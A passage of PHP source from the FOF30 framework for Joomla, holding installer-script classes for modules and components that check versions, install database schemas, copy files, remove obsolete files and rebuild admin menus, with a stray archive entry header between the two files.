name. * * @var string */ protected $moduleName = ''; /** * The path where the schema XML files are stored. The path is relative to the folder which contains the extension's * files. * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Module installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->moduleName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); $this->moduleName = 'mod_' . $classParts[2]; } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, * discover_install) * @param ComponentAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation */ public function preflight($type, $parent) { // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param ComponentAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight($type, $parent) { /** * We are not doing dependency tracking for modules and plugins because of the way Joomla package uninstallation * works. FOF's uninstall() method would get called before the extensions are uninstalled, therefore its * uninstallation would fail and make the entire package uninstallation to fail (the package is impossible to * uninstall). */ // Add ourselves to the list of extensions depending on FOF30 // $this->addDependency('fof30', $this->getDependencyName()); // Install or update database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; if (@is_dir($schemaPath)) { $dbInstaller = new Installer(Factory::getDbo(), $schemaPath); $dbInstaller->updateSchema(); } // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); } /** * Runs on uninstallation * * @param ComponentAdapter $parent The parent object */ public function uninstall($parent) { // Uninstall database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; // Uninstall database if (@is_dir($schemaPath)) { $dbInstaller = new Installer(Factory::getDbo(), $schemaPath); $dbInstaller->removeSchema(); } // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); /** * We are not doing dependency tracking for modules and plugins because of the way Joomla package uninstallation * works. FOF's uninstall() method would get called before the extensions are uninstalled, therefore its * uninstallation would fail and make the entire package uninstallation to fail (the package is impossible to * uninstall). */ // Remove ourselves from the list of extensions depending on FOF30 // $this->removeDependency('fof30', $this->getDependencyName()); } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param ComponentAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate($parent) { Log::add("Joomla! extension update workaround for $this->moduleClient module $this->moduleName", Log::INFO, 'fof3_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $rootFolder = ($this->moduleClient == 'site') ? JPATH_SITE : JPATH_ADMINISTRATOR; $copyMap = [ // Module files $temporarySource => $rootFolder . '/modules/' . $this->moduleName, // Language $temporarySource . '/language' => $rootFolder . '/language', // Media files $temporarySource . '/media' => JPATH_ROOT . '/media/' . $this->moduleName, ]; foreach ($copyMap as $source => $target) { Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof3_extension_installation'); $ignored = []; if ($source == $temporarySource) { $ignored = [ 'index.html', 'index.htm', 'LICENSE.txt', 'license.txt', 'readme.htm', 'readme.html', 'README.md', 'script.php', 'language', 'media', ]; } $this->recursiveConditionalCopy($source, $target, $ignored); } } /** * Get the extension name for FOF dependency tracking, e.g. mod_site_foobar * * @return string */ protected function getDependencyName() { return 'mod_' . strtolower($this->moduleClient) . '_' . substr($this->moduleName, 4); } } PK���\R �����'fof30/Utils/InstallScript/Component.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\InstallScript; defined('_JEXEC') || die; use Exception; use FOF30\Database\Installer as DatabaseInstaller; use InvalidArgumentException; use JDatabaseDriver; use JError; use JLoader; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Installer\Adapter\ComponentAdapter; use Joomla\CMS\Installer\Installer; use Joomla\CMS\Log\Log; use Joomla\CMS\Table\Menu; use Joomla\CMS\Table\Table; use SimpleXMLElement; use stdClass; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF30\\Utils\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create component installation scripts. * * Example usage: class Com_ExampleInstallerScript extends FOF30\Utils\InstallScript\Component * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Component extends BaseInstaller { /** * The component's name. Auto-filled from the class name. * * @var string */ protected $componentName = ''; /** * The title of the component (printed on installation and uninstallation messages) * * @var string */ protected $componentTitle = 'Foobar Component'; /** * The list of obsolete extra modules and plugins to uninstall on component upgrade / installation. * * @var array */ protected $uninstallation_queue = [ // modules => { (folder) => { (module) }* }* 'modules' => [ 'admin' => [], 'site' => [], ], // plugins => { (folder) => { (element) }* }* 'plugins' => [ 'system' => [], ], ]; /** * Obsolete files and folders to remove from the free version only. This is used when you move a feature from the * free version of your extension to its paid version. If you don't have such a distinction you can ignore this. * * @var array */ protected $removeFilesFree = [ 'files' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/helpers/whatever.php' ], 'folders' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/baz' ], ]; /** * Obsolete files and folders to remove from both paid and free releases. This is used when you refactor code and * some files inevitably become obsolete and need to be removed. * * @var array */ protected $removeFilesAllVersions = [ 'files' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/helpers/whatever.php' ], 'folders' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/baz' ], ]; /** * A list of scripts to be copied to the "cli" directory of the site * * @var array */ protected $cliScriptFiles = [ // Use just the filename, e.g. // 'my-cron-script.php' ]; /** * The path inside your package where cli scripts are stored * * @var string */ protected $cliSourcePath = 'cli'; /** * Is the schemaXmlPath class variable a relative path? If set to true the schemaXmlPath variable contains a path * relative to the component's back-end directory. If set to false the schemaXmlPath variable contains an absolute * filesystem path. * * @var boolean */ protected $schemaXmlPathRelative = true; /** * The path where the schema XML files are stored. Its contents depend on the schemaXmlPathRelative variable above * true => schemaXmlPath contains a path relative to the component's back-end directory * false => schemaXmlPath contains an absolute filesystem path * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Is this the paid version of the extension? This only determines which files / extensions will be removed. * * @var boolean */ protected $isPaid = false; /** * Module installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->componentName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); $this->componentName = 'com_' . $classParts[2]; } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, * discover_install) * @param ComponentAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation */ public function preflight($type, $parent) { // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); // Workarounds for JInstaller issues. if (in_array($type, ['install', 'discover_install'])) { // Bug fix for "Database function returned no error" $this->bugfixDBFunctionReturnedNoError(); } else { // Bug fix for "Can not build admin menus" $this->bugfixCantBuildAdminMenus(); } return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param ComponentAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight($type, $parent) { // Add ourselves to the list of extensions depending on FOF30 $this->addDependency('fof30', $this->componentName); // Install or update database $dbInstaller = new DatabaseInstaller(Factory::getDbo(), ($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR . '/components/' . $this->componentName : '') . '/' . $this->schemaXmlPath ); $dbInstaller->updateSchema(); // These workarounds are only needed, and only work, on Joomla! 3.x if (strpos(JVERSION, '3.') === 0) { // Make sure menu items are installed $this->_createAdminMenus($parent); // Make sure menu items are published $this->_reallyPublishAdminMenuItems($parent); } // Which files should I remove? if ($this->isPaid) { // This is the paid version, only remove the removeFilesAllVersions files $removeFiles = $this->removeFilesAllVersions; } else { // This is the free version, remove the removeFilesAllVersions and removeFilesFree files $removeFiles = ['files' => [], 'folders' => []]; if (isset($this->removeFilesAllVersions['files'])) { if (isset($this->removeFilesFree['files'])) { $removeFiles['files'] = array_merge($this->removeFilesAllVersions['files'], $this->removeFilesFree['files']); } else { $removeFiles['files'] = $this->removeFilesAllVersions['files']; } } elseif (isset($this->removeFilesFree['files'])) { $removeFiles['files'] = $this->removeFilesFree['files']; } if (isset($this->removeFilesAllVersions['folders'])) { if (isset($this->removeFilesFree['folders'])) { $removeFiles['folders'] = array_merge($this->removeFilesAllVersions['folders'], $this->removeFilesFree['folders']); } else { $removeFiles['folders'] = $this->removeFilesAllVersions['folders']; } } elseif (isset($this->removeFilesFree['folders'])) { $removeFiles['folders'] = $this->removeFilesFree['folders']; } } // Remove obsolete files and folders $this->removeFilesAndFolders($removeFiles); // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Copy the CLI files (if any) $this->copyCliFiles($parent); // Show the post-installation page $this->renderPostInstallation($parent); // Uninstall obsolete sub-extensions $this->uninstallObsoleteSubextensions($parent); // Clear the FOF cache $false = false; $cache = Factory::getCache('fof', ''); $cache->store($false, 'cache', 'fof'); // Make sure the Joomla! menu structure is correct $this->_rebuildMenu(); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); } /** * Runs on uninstallation * * @param ComponentAdapter $parent The parent object */ public function uninstall($parent) { // Uninstall database $dbInstaller = new DatabaseInstaller(Factory::getDbo(), ($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR . '/components/' . $this->componentName : '') . '/' . $this->schemaXmlPath ); $dbInstaller->removeSchema(); // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); // Remove ourselves from the list of extensions depending on FOF30 $this->removeDependency('fof30', $this->componentName); // Show the post-uninstallation page $this->renderPostUninstallation($parent); } /** * Copies the CLI scripts into Joomla!'s cli directory * * @param ComponentAdapter $parent */ protected function copyCliFiles($parent) { $src = $parent->getParent()->getPath('source'); foreach ($this->cliScriptFiles as $script) { if (is_file(JPATH_ROOT . '/cli/' . $script)) { File::delete(JPATH_ROOT . '/cli/' . $script); } if (is_file($src . '/' . $this->cliSourcePath . '/' . $script)) { File::copy($src . '/' . $this->cliSourcePath . '/' . $script, JPATH_ROOT . '/cli/' . $script); } } } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param ComponentAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate($parent) { Log::add("Joomla! extension update workaround for component $this->componentName", Log::INFO, 'fof3_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $copyMap = [ // Backend component files 'backend' => JPATH_ADMINISTRATOR . '/components/' . $this->componentName, 'admin' => JPATH_ADMINISTRATOR . '/components/' . $this->componentName, // Frontend component files 'frontend' => JPATH_SITE . '/components/' . $this->componentName, 'site' => JPATH_SITE . '/components/' . $this->componentName, // Backend language 'language/backend' => JPATH_ADMINISTRATOR . '/language', 'language/admin' => JPATH_ADMINISTRATOR . '/language', // Frontend language 'language/frontend' => JPATH_SITE . '/language', 'language/site' => JPATH_SITE . '/language', // Media files 'media' => JPATH_ROOT . '/media/' . $this->componentName, ]; foreach ($copyMap as $partialSource => $target) { $source = $temporarySource . '/' . $partialSource; Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof3_extension_installation'); $this->recursiveConditionalCopy($source, $target); } } /** * Override this method to display a custom component installation message if you so wish * * @param ComponentAdapter $parent Parent class calling us */ protected function renderPostInstallation($parent) { echo "<h3>$this->componentName has been installed</h3>"; } /** * Override this method to display a custom component uninstallation message if you so wish * * @param ComponentAdapter $parent Parent class calling us */ protected function renderPostUninstallation($parent) { echo "<h3>$this->componentName has been uninstalled</h3>"; } /** * Bug fix for "DB function returned no error" */ protected function bugfixDBFunctionReturnedNoError() { $db = Factory::getDbo(); try { // Fix broken #__assets records $this->deleteComponentAssetRecords($db); // Fix broken #__extensions records $this->deleteComponentExtensionRecord($db); /** * Fix broken #__menu records * * Only run on Joomla! versions lower than 3.7. Joomla! 3.7 introduced a backend menu manager which * lets the user create missing menu items. Moreover, it lets them create custom links to the component * which means that our menu deleting code would break them! So we don't run this code in newer Joomla! * versions any more. */ if (version_compare(JVERSION, '3.6.9999', 'le')) { $this->deleteComponentMenuRecord($db); } } catch (Exception $exc) { return; } } /** * Joomla! 1.6+ bug fix for "Can not build admin menus" */ protected function bugfixCantBuildAdminMenus() { $db = Factory::getDbo(); // If there are multiple #__extensions record, keep one of them $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if ((is_array($ids) || $ids instanceof \Countable ? count($ids) : 0) > 1) { asort($ids); $extension_id = array_shift($ids); // Keep the oldest id foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__extensions') ->where($db->qn('extension_id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } // If there are multiple assets records, delete all except the oldest one $query = $db->getQuery(true); $query->select('id') ->from('#__assets') ->where($db->qn('name') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadObjectList(); if ((is_array($ids) || $ids instanceof \Countable ? count($ids) : 0) > 1) { asort($ids); $asset_id = array_shift($ids); // Keep the oldest id foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__assets') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } // Remove #__menu records for good measure! –– I think this is not necessary and causes the menu item to // disappear on extension update. /** * $query = $db->getQuery(true); * $query->select('id') * ->from('#__menu') * ->where($db->qn('type') . ' = ' . $db->q('component')) * ->where($db->qn('menutype') . ' = ' . $db->q('main')) * ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName)); * $db->setQuery($query); * * try * { * $ids1 = $db->loadColumn(); * } * catch (Exception $exc) * { * $ids1 = array(); * } * * if (empty($ids1)) * { * $ids1 = array(); * } * * $query = $db->getQuery(true); * $query->select('id') * ->from('#__menu') * ->where($db->qn('type') . ' = ' . $db->q('component')) * ->where($db->qn('menutype') . ' = ' . $db->q('main')) * ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName . '&%')); * $db->setQuery($query); * * try * { * $ids2 = $db->loadColumn(); * } * catch (Exception $exc) * { * $ids2 = array(); * } * * if (empty($ids2)) * { * $ids2 = array(); * } * * $ids = array_merge($ids1, $ids2); * * if (!empty($ids)) * { * foreach ($ids as $id) * { * $query = $db->getQuery(true); * $query->delete('#__menu') * ->where($db->qn('id') . ' = ' . $db->q($id)); * $db->setQuery($query); * * try * { * $db->execute(); * } * catch (Exception $exc) * { * // Nothing * } * } * } * /**/ } /** * Removes obsolete files and folders * * @param array $removeList The files and directories to remove */ protected function removeFilesAndFolders($removeList) { // Remove files if (isset($removeList['files']) && !empty($removeList['files'])) { foreach ($removeList['files'] as $file) { $f = JPATH_ROOT . '/' . $file; if (!is_file($f)) { continue; } File::delete($f); } } // Remove folders if (isset($removeList['folders']) && !empty($removeList['folders'])) { foreach ($removeList['folders'] as $folder) { $f = JPATH_ROOT . '/' . $folder; if (!is_dir($f)) { continue; } Folder::delete($f); } } } /** * Uninstalls obsolete sub-extensions (modules, plugins) bundled with the main extension * * @param ComponentAdapter $parent The parent object * * @return stdClass The sub-extension uninstallation status */ protected function uninstallObsoleteSubextensions($parent) { $db = Factory::getDBO(); $status = new stdClass(); $status->modules = []; $status->plugins = []; // Modules uninstallation if (isset($this->uninstallation_queue['modules']) && count($this->uninstallation_queue['modules'])) { foreach ($this->uninstallation_queue['modules'] as $folder => $modules) { if (is_array($modules) || $modules instanceof \Countable ? count($modules) : 0) { foreach ($modules as $module) { // Find the module ID $sql = $db->getQuery(true) ->select($db->qn('extension_id')) ->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q('mod_' . $module)) ->where($db->qn('type') . ' = ' . $db->q('module')); $db->setQuery($sql); $id = $db->loadResult(); // Uninstall the module if ($id) { $installer = new Installer; $result = $installer->uninstall('module', $id, 1); $status->modules[] = [ 'name' => 'mod_' . $module, 'client' => $folder, 'result' => $result, ]; } } } } } // Plugins uninstallation if (isset($this->uninstallation_queue['plugins']) && count($this->uninstallation_queue['plugins'])) { foreach ($this->uninstallation_queue['plugins'] as $folder => $plugins) { if (is_array($plugins) || $plugins instanceof \Countable ? count($plugins) : 0) { foreach ($plugins as $plugin) { $sql = $db->getQuery(true) ->select($db->qn('extension_id')) ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('plugin')) ->where($db->qn('element') . ' = ' . $db->q($plugin)) ->where($db->qn('folder') . ' = ' . $db->q($folder)); $db->setQuery($sql); $id = $db->loadResult(); if ($id) { $installer = new Installer; $result = $installer->uninstall('plugin', $id, 1); $status->plugins[] = [ 'name' => 'plg_' . $plugin, 'group' => $folder, 'result' => $result, ]; } } } } } return $status; } /** * @param ComponentAdapter $parent * * @return bool * * @throws Exception When the Joomla! menu is FUBAR */ private function _createAdminMenus($parent) { $db = $parent->getParent()->getDbo(); /** @var Menu $table */ $table = Table::getInstance('menu'); $option = $parent->get('element'); // If a component exists with this option in the table then we don't need to add menus $query = $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn('#__menu') . ' AS ' . $db->qn('m')) ->leftJoin($db->qn('#__extensions', 'e') . ' ON ' . $db->qn('m.component_id') . ' = ' . $db->qn('e.extension_id')) ->where($db->qn('m.parent_id') . ' = ' . $db->q(1)) ->where($db->qn('m.client_id') . ' = ' . $db->q(1)) ->where($db->qn('e.type') . ' = ' . $db->q('component')) ->where($db->qn('e.element') . ' = ' . $db->q($option)); $db->setQuery($query); $existingMenus = $db->loadResult(); if ($existingMenus) { return true; } // Let's find the extension id $query->clear() ->select($db->qn('e.extension_id')) ->from($db->qn('#__extensions', 'e')) ->where($db->qn('e.type') . ' = ' . $db->q('component')) ->where($db->qn('e.element') . ' = ' . $db->q($option)); $db->setQuery($query); $componentId = $db->loadResult(); // Ok, now its time to handle the menus. Start with the component root menu, then handle submenus. if (method_exists($parent, 'getManifest')) { $menuElement = $parent->getManifest()->administration->menu; } else { $menuElement = $parent->get('manifest')->administration->menu; } // We need to insert the menu item as the last child of Joomla!'s menu root node. First let's make sure that // it exists. Normally it should be the menu item with ID = 1. $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('id') . ' = ' . $db->q(1)); $rootItemId = $db->setQuery($query)->loadResult(); // If we didn't find the item with ID=1 something has screwed up the menu table, e.g. a bad upgrade script. In // this case we can try to find the root node by title. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('title') . ' = ' . $db->q('Menu_Item_Root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // So, someone changed the title of the menu item too?! Let's find it by alias. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('alias') . ' = ' . $db->q('root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // For crying out loud, they changed the alias too? Fine! Find it by component ID. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('component_id') . ' = ' . $db->q('0')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // Um, OK. Still no go. Let's try with minimum lft value. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->order($db->qn('lft') . ' ASC'); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // I quit. Your site's menu structure is broken. I'll just throw an error. if (is_null($rootItemId)) { throw new Exception("Your site is broken. There is no root menu item. As a result it is impossible to create menu items. The installation of this component has failed. Please fix your database and retry!", 500); } /** @var SimpleXMLElement $menuElement */ if ($menuElement) { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = (string) trim($menuElement); $data['alias'] = (string) $menuElement; $data['link'] = 'index.php?option=' . $option; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = 1; $data['component_id'] = $componentId; $data['img'] = (string) $menuElement->attributes()->img ?: 'class:component'; $data['home'] = 0; $data['path'] = ''; $data['params'] = ''; } // No menu element was specified, Let's make a generic menu item else { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = $option; $data['alias'] = $option; $data['link'] = 'index.php?option=' . $option; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = 1; $data['component_id'] = $componentId; $data['img'] = 'class:component'; $data['home'] = 0; $data['path'] = ''; $data['params'] = ''; } try { $table->setLocation($rootItemId, 'last-child'); } catch (InvalidArgumentException $e) { $this->log($e->getMessage()); return false; } if (!$table->bind($data) || !$table->check() || !$table->store()) { // The menu item already exists. Delete it and retry instead of throwing an error. $query->clear() ->select('id') ->from('#__menu') ->where('menutype = ' . $db->quote('main')) ->where('client_id = 1') ->where('link = ' . $db->quote('index.php?option=' . $option)) ->where('type = ' . $db->quote('component')) ->where('parent_id = 1') ->where('home = 0'); $db->setQuery($query); $menu_ids_level1 = $db->loadColumn(); if (empty($menu_ids_level1)) { // Oops! Could not get the menu ID. Go back and rollback changes. JError::raiseWarning(1, $table->getError()); return false; } else { $ids = implode(',', $menu_ids_level1); $query->clear() ->select('id') ->from('#__menu') ->where('menutype = ' . $db->quote('main')) ->where('client_id = 1') ->where('type = ' . $db->quote('component')) ->where('parent_id in (' . $ids . ')') ->where('level = 2') ->where('home = 0'); $db->setQuery($query); $menu_ids_level2 = $db->loadColumn(); $ids = implode(',', array_merge($menu_ids_level1, $menu_ids_level2)); // Remove the old menu item $query->clear() ->delete('#__menu') ->where('id in (' . $ids . ')'); $db->setQuery($query); $db->execute(); // Retry creating the menu item $table->setLocation($rootItemId, 'last-child'); if (!$table->bind($data) || !$table->check() || !$table->store()) { // Install failed, warn user and rollback changes JError::raiseWarning(1, $table->getError()); return false; } } } /* * Since we have created a menu item, we add it to the installation step stack * so that if we have to rollback the changes we can undo it. */ $parent->getParent()->pushStep(['type' => 'menu', 'id' => $componentId]); /* * Process SubMenus */ if (method_exists($parent, 'getManifest')) { $submenu = $parent->getManifest()->administration->submenu; } else { $submenu = $parent->get('manifest')->administration->submenu; } if (!$submenu) { return true; } $parent_id = $table->id; /** @var SimpleXMLElement $child */ foreach ($submenu->menu as $child) { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = (string) trim($child); $data['alias'] = (string) $child; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = $parent_id; $data['component_id'] = $componentId; $data['img'] = (string) $child->attributes()->img ?: 'class:component'; $data['home'] = 0; // Set the sub menu link if ((string) $child->attributes()->link) { $data['link'] = 'index.php?' . $child->attributes()->link; } else { $request = []; if ((string) $child->attributes()->act) { $request[] = 'act=' . $child->attributes()->act; } if ((string) $child->attributes()->task) { $request[] = 'task=' . $child->attributes()->task; } if ((string) $child->attributes()->controller) { $request[] = 'controller=' . $child->attributes()->controller; } if ((string) $child->attributes()->view) { $request[] = 'view=' . $child->attributes()->view; } if ((string) $child->attributes()->layout) { $request[] = 'layout=' . $child->attributes()->layout; } if ((string) $child->attributes()->sub) { $request[] = 'sub=' . $child->attributes()->sub; } $qstring = (count($request)) ? '&' . implode('&', $request) : ''; $data['link'] = 'index.php?option=' . $option . $qstring; } $table = Table::getInstance('menu'); try { $table->setLocation($parent_id, 'last-child'); } catch (InvalidArgumentException $e) { return false; } if (!$table->bind($data) || !$table->check() || !$table->store()) { // Install failed, rollback changes return false; } /* * Since we have created a menu item, we add it to the installation step stack * so that if we have to rollback the changes we can undo it. */ $parent->getParent()->pushStep(['type' => 'menu', 'id' => $componentId]); } return true; } /** * Make sure the Component menu items are really published! * * @param ComponentAdapter $parent * * @return bool */ private function _reallyPublishAdminMenuItems($parent) { $db = $parent->getParent()->getDbo(); $option = $parent->get('element'); $query = $db->getQuery(true) ->update('#__menu AS m') ->join('LEFT', '#__extensions AS e ON m.component_id = e.extension_id') ->set($db->qn('published') . ' = ' . $db->q(1)) ->where('m.parent_id = 1') ->where('m.client_id = 1') ->where('e.type = ' . $db->quote('component')) ->where('e.element = ' . $db->quote($option)); $db->setQuery($query); try { $db->execute(); } catch (Exception $e) { // If it fails, it fails. Who cares. } } /** * Tells Joomla! to rebuild its menu structure to make triple-sure that the Components menu items really do exist * in the correct place and can really be rendered. */ private function _rebuildMenu() { /** @var Menu $table */ $table = Table::getInstance('menu'); $db = $table->getDbo(); // We need to rebuild the menu based on its root item. By default this is the menu item with ID=1. However, some // crappy upgrade scripts enjoy screwing it up. Hey, ho, the workaround way I go. $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('id') . ' = ' . $db->q(1)); $rootItemId = $db->setQuery($query)->loadResult(); if (is_null($rootItemId)) { // Guess what? The Problem has happened. Let's find the root node by title. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('title') . ' = ' . $db->q('Menu_Item_Root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // Did they change the title too?! Let's find it by alias. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('alias') . ' = ' . $db->q('root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // Woah! The alias is borked, too?! Find it by component ID. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('component_id') . ' = ' . $db->q('0')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // Your site is more of a "shite" than a "site". Let's try with minimum lft value. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->order($db->qn('lft') . ' ASC'); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // I quit. Your site is broken. return false; } $table->rebuild($rootItemId); } /** * Deletes the assets table records for the component * * @param JDatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentAssetRecords($db) { $query = $db->getQuery(true); $query->select('id') ->from('#__assets') ->where($db->qn('name') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__assets') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } /** * Deletes the extensions table records for the component * * @param JDatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentExtensionRecord($db) { $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__extensions') ->where($db->qn('extension_id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } /** * Deletes the menu table records for the component * * @param JDatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentMenuRecord($db) { $query = $db->getQuery(true); $query->select('id') ->from('#__menu') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('menutype') . ' = ' . $db->q('main')) ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = 